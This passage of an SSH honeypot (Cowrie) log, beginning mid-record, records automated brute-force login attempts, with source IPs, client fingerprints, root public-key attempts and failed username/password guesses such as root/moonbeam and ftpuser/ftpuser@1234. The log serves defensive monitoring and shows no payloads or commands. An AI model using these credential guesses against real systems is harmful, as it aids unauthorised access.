AAAAB3NzaC1yc2EAAAADAQABAAACAQCx5WdBzbcNaV9RJpxNovZqkdkdynhCJ3rfzemrkB7q/Q3YPywJ8zFcae+LSkE+vyhE9xnTHsTWdWKAIXVAxan5lbWLZGf7S1ZNKQplaYhNb9Hw9yYvha4tjXlhmVepddMrngw8bB8iT197UOj/mIX4I5T3uCWAHvz8iGsHEWOj4slA7oyyKHg9Di5OM84WaLw7wRHdX7v34a1DPiSYx6g3/OOWnPpzz5HvskYiAFzaBwraybrrYU1YEcuYf7BRYtonPpsXzABEZhNgAGDMNlb1wxEvQHHxbKrPRJ3xrBrmkUgY4tDSLvYTVFo2IT8n/aytjxuOFueJAfmnZCjKP/7zwr/B8OXTxZBiKX6JpyqvgGmXEkIOR7bTg7CGKgwA9+S/KcMrd/g/RxIyDZxg9KZeo0LZmG2x6DKyRd8Xl+KUkRc5BXQJWlBypiFemP8WIzk6lscomTO4AlrYoqYSB9HU0wUm1Z58WPAXePs3mWND6YuN9fd4OfP3XndtIOX2YAjXcgQfWVs5GL+tuJMmqERuTA2CZIMWYIk0jjyfSPnscvUMjaCj3Hojaxo5GruZf8audAToOoKTMy37h13nIjSYd8yTINrVU/YZrbWehQrqty+TRrVPl26RYOG31TQJX4qtjr7nqX3ReDuV+N388wbSt1+5WSj5GlHQirW4JbyrXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:82:81:18:7d:94:57:38:93:15:ed:1a:fc:ba:cd:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:22.558074Z","src_ip":"78.111.67.47","session":"0330e6cd7a80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:82:81:18:7d:94:57:38:93:15:ed:1a:fc:ba:cd:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCx5WdBzbcNaV9RJpxNovZqkdkdynhCJ3rfzemrkB7q/Q3YPywJ8zFcae+LSkE+vyhE9xnTHsTWdWKAIXVAxan5lbWLZGf7S1ZNKQplaYhNb9Hw9yYvha4tjXlhmVepddMrngw8bB8iT197UOj/mIX4I5T3uCWAHvz8iGsHEWOj4slA7oyyKHg9Di5OM84WaLw7wRHdX7v34a1DPiSYx6g3/OOWnPpzz5HvskYiAFzaBwraybrrYU1YEcuYf7BRYtonPpsXzABEZhNgAGDMNlb1wxEvQHHxbKrPRJ3xrBrmkUgY4tDSLvYTVFo2IT8n/aytjxuOFueJAfmnZCjKP/7zwr/B8OXTxZBiKX6JpyqvgGmXEkIOR7bTg7CGKgwA9+S/KcMrd/g/RxIyDZxg9KZeo0LZmG2x6DKyRd8Xl+KUkRc5BXQJWlBypiFemP8WIzk6lscomTO4AlrYoqYSB9HU0wUm1Z58WPAXePs3mWND6YuN9fd4OfP3XndtIOX2YAjXcgQfWVs5GL+tuJMmqERuTA2CZIMWYIk0jjyfSPnscvUMjaCj3Hojaxo5GruZf8audAToOoKTMy37h13nIjSYd8yTINrVU/YZrbWehQrqty+TRrVPl26RYOG31TQJX4qtjr7nqX3ReDuV+N388wbSt1+5WSj5GlHQirW4JbyrXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:22.562422Z","src_ip":"78.111.67.47","session":"0330e6cd7a80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:0a:01:51:ec:87:80:7f:bc:bb:29:4c:4b:f1:fc:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5LbzAYyqqRHRLZe8o0us4tQuwfeJdJRlltswDwm4yKm7o51ZnlU8+3Ai37/W+3E4B+2eG/HvV9x6+blWVK96e5IU3sssHzmfYLroy2+xnnDaTji1te21RLcwddVOqFic7v48RXunFdh4xOW70zE6u11hsgdklEbjvm8IohuaOOq7IG5v4sDeFHE3+rnyc7exJ5WwMZJaiH0r4DCZrg+in2MOacGnlFk4kbaaBk8ylMtKzKGUuMtYezETYOyVSW4+deraIS6WgYk+iT34aBzwx77aoENSJG+iiuzfvJoLKXQxg8vz1m5J1vqzxmKjYEf2LgjRs5x2xOb5ke86tWJr58bvgQnhr1ZF0/pBO2cI+J2HwxxOAKs4awbKwMCey65hkaJK1NS5jN4ZJQSG4yDhdIUwlFjTJFj8qBqQmtfNUOAuZr+lqswIko2WmPYy8KdWQG0Tz5Bks+oZakSrNnyScY9Hghd+IxEHlQYr1ES6GzdY92EkP9t2mDHfkaa0Pi7cW6Z5gJmbW90Hlg/f4fNWOKJvcf+nZwYIlTj7h3PzfbLNfP7sRVheG6pnnylvRhbDTsnnXKWEQ0x2RKvq/BpCUMVTN9aegivgevovsp080o/7ZWoHjB9VvawJhanWB78igp6r26iBbzExeYxcSEyQaekvtv+KJ/avc0oY8WDaQ1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:0a:01:51:ec:87:80:7f:bc:bb:29:4c:4b:f1:fc:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:22.655010Z","src_ip":"78.111.67.47","session":"0330e6cd7a80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:0a:01:51:ec:87:80:7f:bc:bb:29:4c:4b:f1:fc:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5LbzAYyqqRHRLZe8o0us4tQuwfeJdJRlltswDwm4yKm7o51ZnlU8+3Ai37/W+3E4B+2eG/HvV9x6+blWVK96e5IU3sssHzmfYLroy2+xnnDaTji1te21RLcwddVOqFic7v48RXunFdh4xOW70zE6u11hsgdklEbjvm8IohuaOOq7IG5v4sDeFHE3+rnyc7exJ5WwMZJaiH0r4DCZrg+in2MOacGnlFk4kbaaBk8ylMtKzKGUuMtYezETYOyVSW4+deraIS6WgYk+iT34aBzwx77aoENSJG+iiuzfvJoLKXQxg8vz1m5J1vqzxmKjYEf2LgjRs5x2xOb5ke86tWJr58bvgQnhr1ZF0/pBO2cI+J2HwxxOAKs4awbKwMCey65hkaJK1NS5jN4ZJQSG4yDhdIUwlFjTJFj8qBqQmtfNUOAuZr+lqswIko2WmPYy8KdWQG0Tz5Bks+oZakSrNnyScY9Hghd+IxEHlQYr1ES6GzdY92EkP9t2mDHfkaa0Pi7cW6Z5gJmbW90Hlg/f4fNWOKJvcf+nZwYIlTj7h3PzfbLNfP7sRVheG6pnnylvRhbDTsnnXKWEQ0x2RKvq/BpCUMVTN9aegivgevovsp080o/7ZWoHjB9VvawJhanWB78igp6r26iBbzExeYxcSEyQaekvtv+KJ/avc0oY8WDaQ1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:22.659296Z","src_ip":"78.111.67.47","session":"0330e6cd7a80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:0c:e4:c1:7c:0d:63:b9:e0:73:06:14:f6:82:f7:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3eIARKd3hX8c1T+ybz3FBEN3g/r0/kSzU+WmyZ6bLxVF79I7xe/E1K1ZhVdDDhzUWUQpBm1B+aRrZv37aGY0QaKv3U2diD/CUixozu1BAj447rRhIn5cPCy0+dqaQ82vZ3orvWWU30bv6+fozupDdRiodoT07bGkV6njB0O92ySJ1SPhG8vAllnS9aXPaOmq50n8z/RPUum3wXtaO/ms75el7hWRcD7CxoT9koN7uDVDSbpIhUMW9DhOp+A/w1Q0UEnTAK8sP9mLwRI+IAbEYi0DMhh97/ynYZaxplEH0hJtnjIxWiklubQ1ak44a2sUhzvq5yOGNPRDBbp8SANlz/hYwkThJV7isGIIKWKx52/oLptaGD6yD7uyXgzipI1sBmvehnL7ANX4NZu8P/RklSDgE86J/Wv250Ls6WlydyyCp6+Lp5TFIpylLVCD7Xsl+BMJHTM2jxTr0nJ0XTm9xISEBWntOsNwyICwhIrmNlmtaLhVh2gLwBXFx/hPC5R5f95dz7I15Fcvov42RjSxjC3Rsfd5+MiqyM7EtYNeDAgy3zk7Wa2HfteTNfdfCXhlctyS+rfS58GUFuRTVxH+qcFJk0TP6EhHJpjrdY+i1A/ygPLx92oTJ1YLSjfqZskp13WJKWa59tw5bzYkvSMCMLyLEPX45EqxaKgBmzCMhMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:0c:e4:c1:7c:0d:63:b9:e0:73:06:14:f6:82:f7:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:22.752843Z","src_ip":"78.111.67.47","session":"0330e6cd7a80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:0c:e4:c1:7c:0d:63:b9:e0:73:06:14:f6:82:f7:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3eIARKd3hX8c1T+ybz3FBEN3g/r0/kSzU+WmyZ6bLxVF79I7xe/E1K1ZhVdDDhzUWUQpBm1B+aRrZv37aGY0QaKv3U2diD/CUixozu1BAj447rRhIn5cPCy0+dqaQ82vZ3orvWWU30bv6+fozupDdRiodoT07bGkV6njB0O92ySJ1SPhG8vAllnS9aXPaOmq50n8z/RPUum3wXtaO/ms75el7hWRcD7CxoT9koN7uDVDSbpIhUMW9DhOp+A/w1Q0UEnTAK8sP9mLwRI+IAbEYi0DMhh97/ynYZaxplEH0hJtnjIxWiklubQ1ak44a2sUhzvq5yOGNPRDBbp8SANlz/hYwkThJV7isGIIKWKx52/oLptaGD6yD7uyXgzipI1sBmvehnL7ANX4NZu8P/RklSDgE86J/Wv250Ls6WlydyyCp6+Lp5TFIpylLVCD7Xsl+BMJHTM2jxTr0nJ0XTm9xISEBWntOsNwyICwhIrmNlmtaLhVh2gLwBXFx/hPC5R5f95dz7I15Fcvov42RjSxjC3Rsfd5+MiqyM7EtYNeDAgy3zk7Wa2HfteTNfdfCXhlctyS+rfS58GUFuRTVxH+qcFJk0TP6EhHJpjrdY+i1A/ygPLx92oTJ1YLSjfqZskp13WJKWa59tw5bzYkvSMCMLyLEPX45EqxaKgBmzCMhMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:22.756898Z","src_ip":"78.111.67.47","session":"0330e6cd7a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:22.847784Z","src_ip":"78.111.67.47","session":"0330e6cd7a80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":52314,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7934c1f2b90","protocol":"ssh","message":"New connection: 193.32.162.145:52314 (159.203.135.109:22) [session: c7934c1f2b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:52.295565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:52.300469Z","src_ip":"193.32.162.145","session":"c7934c1f2b90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:52.404527Z","src_ip":"193.32.162.145","session":"c7934c1f2b90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"moonbeam","message":"login attempt [ubuntu/moonbeam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:52.731948Z","src_ip":"193.32.162.145","session":"c7934c1f2b90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:53.839947Z","src_ip":"193.32.162.145","session":"c7934c1f2b90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":58818,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d7e10119afd","protocol":"ssh","message":"New connection: 14.224.213.222:58818 (10.17.0.5:22) [session: 1d7e10119afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:59.122250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:59.126885Z","src_ip":"14.224.213.222","session":"1d7e10119afd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:59.376313Z","src_ip":"14.224.213.222","session":"1d7e10119afd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"passpass","message":"login attempt [git/passpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:12:00.392236Z","src_ip":"14.224.213.222","session":"1d7e10119afd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:12:01.643231Z","src_ip":"14.224.213.222","session":"1d7e10119afd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":45814,"dst_ip":"10.17.0.5","dst_port":22,"session":"d578c0bba349","protocol":"ssh","message":"New connection: 14.224.213.222:45814 (10.17.0.5:22) [session: d578c0bba349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:13:05.828668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:13:05.843225Z","src_ip":"14.224.213.222","session":"d578c0bba349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:13:06.088100Z","src_ip":"14.224.213.222","session":"d578c0bba349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser@1234","message":"login attempt [ftpuser/ftpuser@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:13:07.094140Z","src_ip":"14.224.213.222","session":"d578c0bba349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:13:08.339819Z","src_ip":"14.224.213.222","session":"d578c0bba349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":19492,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e836d78fe7a","protocol":"ssh","message":"New connection: 194.59.206.2:19492 (10.17.0.5:22) [session: 6e836d78fe7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:13:21.869924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:13:21.875242Z","src_ip":"194.59.206.2","session":"6e836d78fe7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:13:21.966430Z","src_ip":"194.59.206.2","session":"6e836d78fe7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:13:22.061903Z","src_ip":"194.59.206.2","session":"6e836d78fe7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":38108,"dst_ip":"159.203.135.109","dst_port":22,"session":"72dcb8a289ba","protocol":"ssh","message":"New connection: 193.32.162.145:38108 (159.203.135.109:22) [session: 72dcb8a289ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:13:58.104713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:13:58.141430Z","src_ip":"193.32.162.145","session":"72dcb8a289ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:13:58.212017Z","src_ip":"193.32.162.145","session":"72dcb8a289ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"moonbeam","message":"login attempt [root/moonbeam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:13:58.625204Z","src_ip":"193.32.162.145","session":"72dcb8a289ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:13:59.737161Z","src_ip":"193.32.162.145","session":"72dcb8a289ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":33360,"dst_ip":"10.17.0.5","dst_port":22,"session":"83afbb1a9308","protocol":"ssh","message":"New connection: 190.244.39.224:33360 (10.17.0.5:22) [session: 83afbb1a9308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:10.362909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:10.368089Z","src_ip":"190.244.39.224","session":"83afbb1a9308","protocol":"ssh"}
